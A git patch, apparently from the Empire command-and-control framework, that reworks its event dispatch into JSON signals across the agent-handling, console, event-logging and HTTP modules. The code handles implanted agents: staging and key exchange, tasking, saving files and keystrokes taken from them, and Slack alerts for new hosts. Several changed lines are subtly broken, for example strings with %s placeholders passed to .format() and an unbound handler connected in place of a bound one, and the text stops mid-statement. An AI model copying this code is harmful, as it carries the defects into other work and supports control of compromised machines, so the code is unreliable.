Date: Tue, 16 Jan 2018 21:36:26 -0700 Subject: [PATCH 028/136] redo entire dispatch system --- lib/common/agents.py | 295 ++++++++++++++++++++++++++++++-------- lib/common/empire.py | 171 +++++++++++----------- lib/common/events.py | 7 +- lib/common/http.py | 50 +++++-- lib/common/packets.py | 46 ++++-- lib/listeners/dbx.py | 171 +++++++++++++++++++--- lib/listeners/http.py | 102 +++++++++++-- lib/listeners/http_com.py | 100 ++++++++++--- 8 files changed, 724 insertions(+), 218 deletions(-) diff --git a/lib/common/agents.py b/lib/common/agents.py index 3c2ad5d16..87bbf2221 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -244,8 +244,12 @@ def save_file(self, sessionID, path, data, append=False): # fix for 'skywalker' exploit by @zeroSteiner safePath = os.path.abspath("%sdownloads/" % self.installPath) if not os.path.abspath(save_path + "/" + filename).startswith(safePath): - dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (sessionID), sender='Agents') - dispatcher.send("[!] attempted overwrite of %s with data %s" % (path, data), sender='Agents') + message = "[!] WARNING: agent {} attempted skywalker exploit!\n[!] attempted overwrite of {} with data {}".format(sessionID, path, data) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) return # make the recursive directory structure if it doesn't already exist @@ -265,10 +269,12 @@ def save_file(self, sessionID, path, data, append=False): dec_data = d.dec_data(data) print helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green") if not dec_data['crc32_check']: - dispatcher.send("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid)) - print helpers.color("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid)) - dispatcher.send("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check'])) - print helpers.color("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check'])) + message = "[!] WARNING: File agent {} failed crc32 check during decompression!\n[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!".format(nameid, dec_data['header_crc32'], dec_data['dec_crc32'], dec_data['crc32_check']) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(nameid)) data = dec_data['data'] f.write(data) @@ -277,8 +283,12 @@ def save_file(self, sessionID, path, data, append=False): self.lock.release() # notify everyone that the file was downloaded - dispatcher.send("[+] Part of file %s from %s saved" % (filename, sessionID), sender='Agents') - + message = "[+] Part of file %s from %s saved".format(filename, sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) def save_module_file(self, sessionID, path, data): """ @@ -300,10 +310,12 @@ def save_module_file(self, sessionID, path, data): dec_data = d.dec_data(data) print helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green") if not dec_data['crc32_check']: - dispatcher.send("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid)) - print helpers.color("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid)) - dispatcher.send("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check'])) - print helpers.color("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check'])) + message = "[!] WARNING: File agent {} failed crc32 check during decompression!\n[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!".format(nameid, dec_data['header_crc32'], dec_data['dec_crc32'], dec_data['crc32_check']) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(nameid)) data = dec_data['data'] try: @@ -311,8 +323,12 @@ def save_module_file(self, sessionID, path, data): # fix for 'skywalker' exploit by @zeroSteiner safePath = os.path.abspath("%s/downloads/" % self.installPath) if not os.path.abspath(save_path + "/" + filename).startswith(safePath): - dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (sessionID), sender='Agents') - dispatcher.send("[!] attempted overwrite of %s with data %s" % (path, data), sender='Agents') + message = "[!] WARNING: agent {} attempted skywalker exploit!\n[!] attempted overwrite of {} with data {}".format(sessionID, path, data) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) return # make the recursive directory structure if it doesn't already exist @@ -327,8 +343,12 @@ def save_module_file(self, sessionID, path, data): self.lock.release() # notify everyone that the file was downloaded - # dispatcher.send("[+] File "+path+" from "+str(sessionID)+" saved", sender='Agents') - dispatcher.send("[+] File %s from %s saved" % (path, sessionID), sender='Agents') + message = "[+] File {} from {} saved".format(path, sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) return "/downloads/%s/%s/%s" % (sessionID, "/".join(parts[0:-1]), filename) @@ -846,7 +866,12 @@ def update_agent_results_db(self, sessionID, results): finally: self.lock.release() else: - dispatcher.send("[!] Non-existent agent %s returned results" % (sessionID), sender='Agents') + message = "[!] Non-existent agent %s returned results".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) def update_agent_sysinfo_db(self, sessionID, listener='', external_ip='', internal_ip='', username='', hostname='', os_details='', high_integrity=0, process_name='', process_id='', language_version='', language=''): @@ -1027,8 +1052,12 @@ def add_agent_task_db(self, sessionID, taskName, task=''): print helpers.color("[!] Agent %s not active." % (agentName)) else: if sessionID: - - dispatcher.send("[*] Tasked %s to run %s" % (sessionID, taskName), sender='Agents') + message = "[*] Tasked {} to run {}".format(sessionID, taskName) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) conn = self.get_db_connection() try: @@ -1184,7 +1213,12 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s elif meta == 'STAGE1': # step 3 of negotiation -> client posts public key - dispatcher.send("[*] Agent %s from %s posted public key" % (sessionID, clientIP), sender='Agents') + message = "[*] Agent {} from {} posted public key".format(sessionID, clientIP) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) # decrypt the agent's public key try: @@ -1192,7 +1226,12 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s except Exception as e: print 'exception e:' + str(e) # if we have an error during decryption - dispatcher.send("[!] HMAC verification failed from '%s'" % (sessionID), sender='Agents') + message = "[!] HMAC verification failed from '{}'".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) return 'ERROR: HMAC verification failed' if language.lower() == 'powershell': @@ -1201,14 +1240,24 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s # client posts RSA key if (len(message) < 400) or (not message.endswith("")): - dispatcher.send("[!] Invalid PowerShell key post format from %s" % (sessionID), sender='Agents') + message = "[!] Invalid PowerShell key post format from {}".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) return 'ERROR: Invalid PowerShell key post format' else: # convert the RSA key from the stupid PowerShell export format rsaKey = encryption.rsa_xml_to_key(message) if rsaKey: - dispatcher.send("[*] Agent %s from %s posted valid PowerShell RSA key" % (sessionID, clientIP), sender='Agents') + message = "[*] Agent {} from {} posted valid PowerShell RSA key".format(sessionID, clientIP) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) nonce = helpers.random_string(16, charset=string.digits) delay = listenerOptions['DefaultDelay']['Value'] @@ -1233,19 +1282,34 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s return encryptedMsg else: - dispatcher.send("[!] Agent %s returned an invalid PowerShell public key!" % (sessionID), sender='Agents') + message = "[!] Agent {} returned an invalid PowerShell public key!".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) return 'ERROR: Invalid PowerShell public key' elif language.lower() == 'python': if ((len(message) < 1000) or (len(message) > 2500)): - dispatcher.send("[!] Invalid Python key post format from %s" % (sessionID), sender='Agents') + message = "[!] Invalid Python key post format from {}".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) return "Error: Invalid Python key post format from %s" % (sessionID) else: try: int(message) except: - dispatcher.send("[!] Invalid Python key post format from %s" % (sessionID), sender='Agents') - return "Error: Invalid Python key post format from %s" % (sessionID) + message = "[!] Invalid Python key post format from {}".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) + return "Error: Invalid Python key post format from {}".format(sessionID) # client posts PUBc key clientPub = int(message) @@ -1255,7 +1319,12 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s nonce = helpers.random_string(16, charset=string.digits) - dispatcher.send("[*] Agent %s from %s posted valid Python PUB key" % (sessionID, clientIP), sender='Agents') + message = "[*] Agent {} from {} posted valid Python PUB key".format(sessionID, clientIP) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) delay = listenerOptions['DefaultDelay']['Value'] jitter = listenerOptions['DefaultJitter']['Value'] @@ -1275,8 +1344,13 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s return encryptedMsg else: - dispatcher.send("[*] Agent %s from %s using an invalid language specification: %s" % (sessionID, clientIP, language), sender='Agents') - 'ERROR: invalid language: %s' % (language) + message = "[*] Agent {} from {} using an invalid language specification: {}".format(sessionID, clientIP, language) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) + return 'ERROR: invalid language: {}'.format(language) elif meta == 'STAGE2': # step 5 of negotiation -> client posts nonce+sysinfo and requests agent @@ -1288,19 +1362,34 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s parts = message.split('|') if len(parts) < 12: - dispatcher.send("[!] Agent %s posted invalid sysinfo checkin format: %s" % (sessionID, message), sender='Agents') + message = "[!] Agent {} posted invalid sysinfo checkin format: {}".format(sessionID, message) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) # remove the agent from the cache/database self.mainMenu.agents.remove_agent_db(sessionID) return "ERROR: Agent %s posted invalid sysinfo checkin format: %s" % (sessionID, message) # verify the nonce if int(parts[0]) != (int(self.mainMenu.agents.get_agent_nonce_db(sessionID)) + 1): - dispatcher.send("[!] Invalid nonce returned from %s" % (sessionID), sender='Agents') + message = "[!] Invalid nonce returned from {}".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) # remove the agent from the cache/database self.mainMenu.agents.remove_agent_db(sessionID) return "ERROR: Invalid nonce returned from %s" % (sessionID) - dispatcher.send("[!] Nonce verified: agent %s posted valid sysinfo checkin format: %s" % (sessionID, message), sender='Agents') + message = "[!] Nonce verified: agent {} posted valid sysinfo checkin format: {}".format(sessionID, message) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) listener = unicode(parts[1], 'utf-8') domainname = unicode(parts[2], 'utf-8') @@ -1320,7 +1409,12 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s high_integrity = 0 except Exception as e: - dispatcher.send("[!] Exception in agents.handle_agent_staging() for %s : %s" % (sessionID, e), sender='Agents') + message = "[!] Exception in agents.handle_agent_staging() for {} : {}".format(sessionID, e) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) # remove the agent from the cache/database self.mainMenu.agents.remove_agent_db(sessionID) return "Error: Exception in agents.handle_agent_staging() for %s : %s" % (sessionID, e) @@ -1339,8 +1433,13 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s slackText = ":biohazard: NEW AGENT :biohazard:\r\n```Machine Name: %s\r\nInternal IP: %s\r\nExternal IP: %s\r\nUser: %s\r\nOS Version: %s\r\nAgent ID: %s```" % (hostname,internal_ip,external_ip,username,os_details,sessionID) helpers.slackMessage(slackToken,slackChannel,slackText) - # signal everyone that this agent is now active - dispatcher.send("[+] Initial agent %s from %s now active (Slack)" % (sessionID, clientIP), sender='Agents') + # signal everyone that this agent is now active + message = "[+] Initial agent {} from {} now active (Slack)".format(sessionID, clientIP) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) # save the initial sysinfo information in the agent log agent = self.mainMenu.agents.get_agent_db(sessionID) @@ -1370,8 +1469,12 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s return "STAGE2: %s" % (sessionID) else: - dispatcher.send("[!] Invalid staging request packet from %s at %s : %s" % (sessionID, clientIP, meta), sender='Agents') - + message = "[!] Invalid staging request packet from {} at {} : {}".format(sessionID, clientIP, meta) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) def handle_agent_data(self, stagingKey, routingPacket, listenerOptions, clientIP='0.0.0.0'): """ @@ -1382,7 +1485,12 @@ def handle_agent_data(self, stagingKey, routingPacket, listenerOptions, clientIP """ if len(routingPacket) < 20: - dispatcher.send("[!] handle_agent_data(): routingPacket wrong length: %s" %(len(routingPacket)), sender='Agents') + message = "[!] handle_agent_data(): routingPacket wrong length: {}".format(routingPacket) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="empire") return None routingPacket = packets.parse_routing_packet(stagingKey, routingPacket) @@ -1396,24 +1504,48 @@ def handle_agent_data(self, stagingKey, routingPacket, listenerOptions, clientIP for sessionID, (language, meta, additional, encData) in routingPacket.iteritems(): if meta == 'STAGE0' or meta == 'STAGE1' or meta == 'STAGE2': - dispatcher.send("[*] handle_agent_data(): sessionID %s issued a %s request" % (sessionID, meta), sender='Agents') + message = "[*] handle_agent_data(): sessionID {} issued a {} request".format(sessionID, meta) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) dataToReturn.append((language, self.handle_agent_staging(sessionID, language, meta, additional, encData, stagingKey, listenerOptions, clientIP))) elif sessionID not in self.agents: - dispatcher.send("[!] handle_agent_data(): sessionID %s not present" % (sessionID), sender='Agents') + message = "[!] handle_agent_data(): sessionID {} not present".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) dataToReturn.append(('', "ERROR: sessionID %s not in cache!" % (sessionID))) elif meta == 'TASKING_REQUEST': - dispatcher.send("[*] handle_agent_data(): sessionID %s issued a TASKING_REQUEST" % (sessionID), sender='Agents') + message = "[*] handle_agent_data(): sessionID {} issued a TASKING_REQUEST".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) dataToReturn.append((language, self.handle_agent_request(sessionID, language, stagingKey))) elif meta == 'RESULT_POST': - dispatcher.send("[*] handle_agent_data(): sessionID %s issued a RESULT_POST" % (sessionID), sender='Agents') + message = "[*] handle_agent_data(): sessionID %s issued a RESULT_POST".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) dataToReturn.append((language, self.handle_agent_response(sessionID, encData))) else: - dispatcher.send("[!] handle_agent_data(): sessionID %s gave unhandled meta tag in routing packet: %s" % (sessionID, meta), sender='Agents') - + message = "[!] handle_agent_data(): sessionID {} gave unhandled meta tag in routing packet: {}".format(sessionID, meta) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) return dataToReturn @@ -1424,7 +1556,12 @@ def handle_agent_request(self, sessionID, language, stagingKey): TODO: does this need self.lock? """ if sessionID not in self.agents: - dispatcher.send("[!] handle_agent_request(): sessionID %s not present" % (sessionID), sender='Agents') + message = "[!] handle_agent_request(): sessionID {} not present".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) return None # update the client's last seen time @@ -1465,7 +1602,12 @@ def handle_agent_response(self, sessionID, encData): """ if sessionID not in self.agents: - dispatcher.send("[!] handle_agent_response(): sessionID %s not in cache" % (sessionID), sender='Agents') + message = "[!] handle_agent_response(): sessionID {} not in cache".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) return None # extract the agent's session key @@ -1494,16 +1636,26 @@ def handle_agent_response(self, sessionID, encData): cur.close() theSender="Agents" if data.startswith("function Get-Keystrokes"): - theSender += "PsKeyLogger" + theSender += "PsKeyLogger" if results: # signal that this agent returned results - dispatcher.send("[*] Agent %s returned results." % (sessionID), sender=theSender) + message = "[*] Agent {} returned results.".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) # return a 200/valid return 'VALID' except Exception as e: - dispatcher.send("[!] Error processing result packet from %s : %s" % (sessionID, e), sender='Agents') + message = "[!] Error processing result packet from {} : {}".format(sessionID, e) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) # TODO: stupid concurrency... # when an exception is thrown, something causes the lock to remain locked... @@ -1559,7 +1711,12 @@ def process_agent_packet(self, sessionID, responseName, taskID, data): if responseName == "ERROR": # error code - dispatcher.send("[!] Received error response from " + str(sessionID), sender='Agents') + message = "[!] Received error response from {}".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) self.update_agent_results_db(sessionID, data) # update the agent log self.save_agent_log(sessionID, "[!] Error response: " + data) @@ -1569,7 +1726,12 @@ def process_agent_packet(self, sessionID, responseName, taskID, data): # sys info response -> update the host info parts = data.split("|") if len(parts) < 12: - dispatcher.send("[!] Invalid sysinfo response from " + str(sessionID), sender='Agents') + message = "[!] Invalid sysinfo response from {}".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) else: print "sysinfo:",data # extract appropriate system information @@ -1613,9 +1775,13 @@ def process_agent_packet(self, sessionID, responseName, taskID, data): elif responseName == "TASK_EXIT": # exit command response - data = "[!] Agent %s exiting" % (sessionID) # let everyone know this agent exited - dispatcher.send(data, sender='Agents') + message = "[!] Agent {} exiting".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) # update the agent results and log # self.update_agent_results(sessionID, data) @@ -1636,7 +1802,12 @@ def process_agent_packet(self, sessionID, responseName, taskID, data): # file download parts = data.split("|") if len(parts) != 3: - dispatcher.send("[!] Received invalid file download response from " + sessionID, sender='Agents') + message = "[!] Received invalid file download response from {}".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) else: index, path, data = parts # decode the file data and save it off as appropriate @@ -1737,7 +1908,12 @@ def process_agent_packet(self, sessionID, responseName, taskID, data): safePath = os.path.abspath("%sdownloads/" % self.mainMenu.installPath) savePath = "%sdownloads/%s/keystrokes.txt" % (self.mainMenu.installPath,sessionID) if not os.path.abspath(savePath).startswith(safePath): - dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (self.sessionID), sender='Agents') + message = "[!] WARNING: agent {} attempted skywalker exploit!".format(self.sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) return with open(savePath,"a+") as f: @@ -1821,7 +1997,12 @@ def process_agent_packet(self, sessionID, responseName, taskID, data): elif responseName == "TASK_SWITCH_LISTENER": # update the agent listener self.update_agent_listener_db(sessionID, data) - dispatcher.send("[+] Listener for '%s' updated to '%s'" % (sessionID, data), sender='Agents') + message = "[+] Listener for '{}' updated to '{}'".format(sessionID, data) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) else: print helpers.color("[!] Unknown response %s from %s" % (responseName, sessionID)) diff --git a/lib/common/empire.py b/lib/common/empire.py index effd72e23..dcbdb2826 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -24,6 +24,7 @@ import pkgutil import importlib import base64 +import json # Empire imports import helpers @@ -107,7 +108,12 @@ def __init__(self, args=None): self.handle_args() - dispatcher.send('[*] Empire starting up...', sender="Empire") + message = "[*] Empire starting up..." + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="empire") # print the loading menu messages.loading() @@ -215,9 +221,14 @@ def shutdown(self): """ Perform any shutdown actions. """ - print "\n" + helpers.color("[!] Shutting down...") - dispatcher.send("[*] Empire shutting down...", sender="Empire") + + message = "[*] Empire shutting down..." + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="empire") # enumerate all active servers/listeners and shut them down self.listeners.shutdown_listener('all') @@ -339,19 +350,13 @@ def emptyline(self): def handle_event(self, signal, sender): """ - Default event handler. - - Signal Senders: - Empire - the main Empire controller (this file) - Agents - the Agents handler - Listeners - the Listeners handler - HttpHandler - the HTTP handler - EmpireServer - the Empire HTTP server + Whenver an event is received from the dispatcher, decide whether it + should be printed, and if so, print it. If self.args.debug, log all + events to a file. """ # if --debug X is passed, log out all dispatcher signals if self.args.debug: - debug_file = open('empire.debug', 'a') debug_file.write("%s %s : %s\n" % (helpers.get_datetime(), sender, signal)) debug_file.close() @@ -359,30 +364,19 @@ def handle_event(self, signal, sender): if self.args.debug == '2': # if --debug 2, also print the output to the screen print " %s : %s" % (sender, signal) + # note: kinda feels like this should be in lib/common/events.py but + # we don't have access to self.args there - # display specific signals from the agents. - if sender == "Agents": - if "[+] Initial agent" in signal: - print helpers.color(signal) - - if ("[+] Listener for" in signal) and ("updated to" in signal): - print helpers.color(signal) - - elif "[!] Agent" in signal and "exiting" in signal: - print helpers.color(signal) - - elif "WARNING" in signal or "attempted overwrite" in signal: - print helpers.color(signal) - - elif "on the blacklist" in signal: - print helpers.color(signal) - - elif sender == "EmpireServer": - if "[!] Error starting listener" in signal: - print helpers.color(signal) + # load up the signal so we can look into it + try: + signal_data = json.loads(signal) + except ValueError: + print(helpers.color("[!] Error: bad signal recieved {} from sender {}".format(signal, sender))) + return - elif sender == "Listeners": - print helpers.color(signal) + # print any signal that indicates we should + if('print' in signal_data and signal_data['print']): + print(helpers.color(signal_data['message'])) ################################################### @@ -981,6 +975,25 @@ def __init__(self, mainMenu): cmd.Cmd.__init__(self) self.mainMenu = mainMenu + def handle_agent_event(self, signal, sender): + """ + Handle agent event signals. + """ + name = self.mainMenu.agents.get_agent_name_db(self.sessionID) + if(sender.startswith("agents/{}".format(name))): + # display any results returned by this agent that are returned + # while we are interacting with it + try: + signal_data = json.loads(signal) + except ValueError: + print(helpers.color("[!] Error: bad signal recieved {} from sender {}".format(signal, sender))) + return + + if('cprint' in signal_data and signal_data['cprint']): + results = self.mainMenu.agents.get_agent_results_db(self.sessionID) + if results: + print "\n" + results + def cmdloop(self): if len(self.mainMenu.resourceQueue) > 0: self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0)) @@ -1603,30 +1616,11 @@ def __init__(self, mainMenu, sessionID): print "\n" + results.rstrip('\r\n') # listen for messages from this specific agent - dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any) + dispatcher.connect(SubMenu.handle_agent_event, sender=dispatcher.Any) # def preloop(self): # traceback.print_stack() - def handle_agent_event(self, signal, sender): - """ - Handle agent event signals. - """ - - if '[!] Agent' in signal and 'exiting' in signal: - pass - - name = self.mainMenu.agents.get_agent_name_db(self.sessionID) - if (str(self.sessionID) + " returned results" in signal) or (str(name) + " returned results" in signal): - # display any results returned by this agent that are returned - # while we are interacting with it, unless they are from the powershell keylogger - results = self.mainMenu.agents.get_agent_results_db(self.sessionID) - if results and not sender == "AgentsPsKeyLogger": - print "\n" + results - - elif "[+] Part of file" in signal and "saved" in signal: - if (str(self.sessionID) in signal) or (str(name) in signal): - print helpers.color(signal) def default(self, line): "Default handler" @@ -2367,7 +2361,7 @@ def __init__(self, mainMenu, sessionID): self.prompt = '(Empire: ' + helpers.color(name, 'red') + ') > ' # listen for messages from this specific agent - dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any) + dispatcher.connect(SubMenu.handle_agent_event, sender=dispatcher.Any) # display any results from the database that were stored # while we weren't interacting with the agent @@ -2375,25 +2369,6 @@ def __init__(self, mainMenu, sessionID): if results: print "\n" + results.rstrip('\r\n') - def handle_agent_event(self, signal, sender): - """ - Handle agent event signals. - """ - if "[!] Agent" in signal and "exiting" in signal: pass - - name = self.mainMenu.agents.get_agent_name_db(self.sessionID) - - if (str(self.sessionID) + ' returned results' in signal) or (str(name) + ' returned results' in signal): - # display any results returned by this agent that are returned - # while we are interacting with it - results = self.mainMenu.agents.get_agent_results_db(self.sessionID) - if results: - print "\n" + results - - elif "[+] Part of file" in signal and "saved" in signal: - if (str(self.sessionID) in signal) or (str(name) in signal): - print helpers.color(signal) - def default(self, line): "Default handler" print helpers.color("[!] Command not recognized, use 'help' to see available commands") @@ -3403,16 +3378,16 @@ def do_creds(self, line): def do_execute(self, line): "Execute the given Empire module." - prompt = True - if line == "noprompt": - prompt = False + prompt = True + if line == "noprompt": + prompt = False if not self.validate_options(prompt): return if self.moduleName.lower().startswith('external/'): - # externa/* modules don't include an agent specification, and only have - # an execute() method' + # external/* modules don't include an agent specification, and only have + # an execute() method self.module.execute() else: agentName = self.module.options['Agent']['Value'] @@ -3420,7 +3395,12 @@ def do_execute(self, line): if not moduleData or moduleData == "": print helpers.color("[!] Error: module produced an empty script") - dispatcher.send("[!] Error: module produced an empty script", sender="Empire") + message = "[!] Error: module produced an empty script" + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}/{}".format(agentName, self.moduleName)) return try: @@ -3465,8 +3445,12 @@ def do_execute(self, line): if choice.lower() != "" and choice.lower()[0] == "y": # signal everyone with what we're doing - print helpers.color("[*] Tasking all agents to run " + self.moduleName) - dispatcher.send("[*] Tasking all agents to run " + self.moduleName, sender="Empire") + message = "[*] Tasking all agents to run {}".format(self.moduleName) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/all/{}".format(self.moduleName)) # actually task the agents for agent in self.mainMenu.agents.get_agents_db(): @@ -3478,8 +3462,13 @@ def do_execute(self, line): # update the agent log # dispatcher.send("[*] Tasked agent "+sessionID+" to run module " + self.moduleName, sender="Empire") - dispatcher.send("[*] Tasked agent %s to run module %s" % (sessionID, self.moduleName), sender="Empire") - msg = "Tasked agent to run module %s" % (self.moduleName) + message = "[*] Tasked agent {} to run module {}".format(sessionID, self.moduleName) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}/{}".format(sessionID, self.moduleName)) + msg = "Tasked agent to run module {}".format(self.moduleName) self.mainMenu.agents.save_agent_log(sessionID, msg) except KeyboardInterrupt: @@ -3489,7 +3478,12 @@ def do_execute(self, line): elif agentName.lower() == "autorun": self.mainMenu.agents.set_autoruns_db(taskCommand, moduleData) - dispatcher.send("[*] Set module %s to be global script autorun." % (self.moduleName), sender="Empire") + message = "[*] Set module {} to be global script autorun.".format(self.moduleName) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents") else: if not self.mainMenu.agents.is_agent_present(agentName): @@ -3499,7 +3493,12 @@ def do_execute(self, line): self.mainMenu.agents.add_agent_task_db(agentName, taskCommand, moduleData) # update the agent log - dispatcher.send("[*] Tasked agent %s to run module %s" % (agentName, self.moduleName), sender="Empire") + message = "[*] Tasked agent {} to run module {}".format(agentName, self.moduleName) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}/{}".format(agentName, self.moduleName)) msg = "Tasked agent to run module %s" % (self.moduleName) self.mainMenu.agents.save_agent_log(agentName, msg) diff --git a/lib/common/events.py b/lib/common/events.py index 9dd5e5b99..8940a8c9e 100644 --- a/lib/common/events.py +++ b/lib/common/events.py @@ -15,7 +15,12 @@ def handle_event(signal, sender): """ Puts all dispatched events into the DB """ cur = db.cursor() - event_data = json.dumps({'signal': signal, 'sender': sender}) + try: + signal_data = json.loads(signal) + except ValueError: + print(helpers.color("[!] Error: bad signal recieved {} from sender {}".format(signal, sender))) + return + event_data = json.dumps({'signal': signal_data, 'sender': sender}) log_event(cur, 'user', 'dispatched_event', event_data, helpers.get_datetime()) cur.close() diff --git a/lib/common/http.py b/lib/common/http.py index e706422bc..e61a7280b 100644 --- a/lib/common/http.py +++ b/lib/common/http.py @@ -3,7 +3,7 @@ HTTP related methods used by Empire. Includes URI validation/checksums, as well as the base -http server (EmpireServer) and its modified request +http server (EmpireServer) and its modified request handler (RequestHandler). These are the first places URI requests are processed. @@ -14,6 +14,7 @@ import BaseHTTPServer, threading, ssl, os, string, random from pydispatch import dispatcher import re +import json # Empire imports import encryption @@ -94,7 +95,17 @@ def do_GET(self): name, sessionID = part.split("=", 1) # fire off an event for this GET (for logging) - dispatcher.send("[*] "+resource+" requested from "+str(sessionID)+" at "+clientIP, sender="HttpHandler") + message = "[*] {resource} requested from {session_id} at {client_ip}".format( + resource=resource, + 